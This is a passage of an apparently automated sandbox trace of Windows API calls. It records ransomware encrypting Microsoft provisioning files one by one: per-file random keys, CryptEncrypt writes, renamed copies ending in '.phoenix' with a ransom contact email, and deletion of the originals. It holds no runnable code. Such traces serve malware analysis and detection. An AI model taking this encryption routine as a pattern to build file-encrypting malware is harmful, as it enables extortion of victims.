	[0244.081] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0244.081] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0244.082] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0244.083] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.083] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0244.083] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0244.083] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0244.083] CryptDestroyKey (hKey=0x151700) returned 1
	[0244.083] CloseHandle (hObject=0x2c4) returned 1
	[0244.083] CloseHandle (hObject=0x2d4) returned 1
	[0244.083] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.084] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.086] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=710) returned 1
	[0244.086] CloseHandle (hObject=0x2d4) returned 1
	[0244.086] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.087] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.087] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.087] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.087] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.087] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0244.087] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.087] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c6, lpOverlapped=0x0) returned 1
	[0244.134] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0244.134] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0244.135] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0244.135] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.135] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0244.135] CryptDestroyKey (hKey=0x151500) returned 1
	[0244.135] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0244.135] CryptDestroyKey (hKey=0x151100) returned 1
	[0244.135] CloseHandle (hObject=0x2d4) returned 1
	[0244.135] CloseHandle (hObject=0x2c4) returned 1
	[0244.135] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\252__Connections_Cellular_SmarTone (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\252__connections_cellular_smartone (macao sar)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.136] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.136] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.137] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=865) returned 1
	[0244.137] CloseHandle (hObject=0x2c4) returned 1
	[0244.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.137] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.137] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.137] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.137] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.137] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0244.137] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.138] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x361, lpOverlapped=0x0) returned 1
	[0244.173] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370, dwBufLen=0x370 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370) returned 1
	[0244.173] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x370, lpOverlapped=0x0) returned 1
	[0244.174] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0244.174] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.174] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0244.175] CryptDestroyKey (hKey=0x151740) returned 1
	[0244.175] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0244.175] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0244.175] CloseHandle (hObject=0x2c4) returned 1
	[0244.175] CloseHandle (hObject=0x2d4) returned 1
	[0244.175] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\253__Connections_Cellular_T-Mobile Macedonia (Macedonia, FYRO)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\253__connections_cellular_t-mobile macedonia (macedonia, fyro)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.176] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.176] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.177] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=872) returned 1
	[0244.177] CloseHandle (hObject=0x2d4) returned 1
	[0244.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0244.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.177] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.177] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.177] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.177] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.178] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0244.178] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.178] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x368, lpOverlapped=0x0) returned 1
	[0244.180] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370, dwBufLen=0x370 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370) returned 1
	[0244.180] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x370, lpOverlapped=0x0) returned 1
	[0244.181] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0244.181] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.181] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0, dwBufLen=0xd0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xd0) returned 1
	[0244.181] CryptDestroyKey (hKey=0x151240) returned 1
	[0244.181] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x182, lpOverlapped=0x0) returned 1
	[0244.181] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0244.181] CloseHandle (hObject=0x2d4) returned 1
	[0244.181] CloseHandle (hObject=0x2c4) returned 1
	[0244.181] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\254__Connections_Cellular_Vip Operator (Republic of Macedonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\254__connections_cellular_vip operator (republic of macedonia)_i0$(__mvid)@wap.provxml")) returned 1
	[0244.182] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0244.182] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.182] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=472) returned 1
	[0244.182] CloseHandle (hObject=0x2c4) returned 1
	[0244.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0244.182] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0244.183] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0244.183] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.183] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0244.183] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0244.183] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1514c0) returned 1
	[0244.183] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.183] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1d8, lpOverlapped=0x0) returned 1
	[0244.185] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0244.185] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0244.186] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0244.186] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0244.186] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0244.186] CryptDestroyKey (hKey=0x151240) returned 1
	[0244.186] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0244.186] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0244.186] CloseHandle (hObject=0x2c4) returned 1
	[0244.186] CloseHandle (hObject=0x2d4) returned 1
	[0244.186] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\255__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\255__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0244.187] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
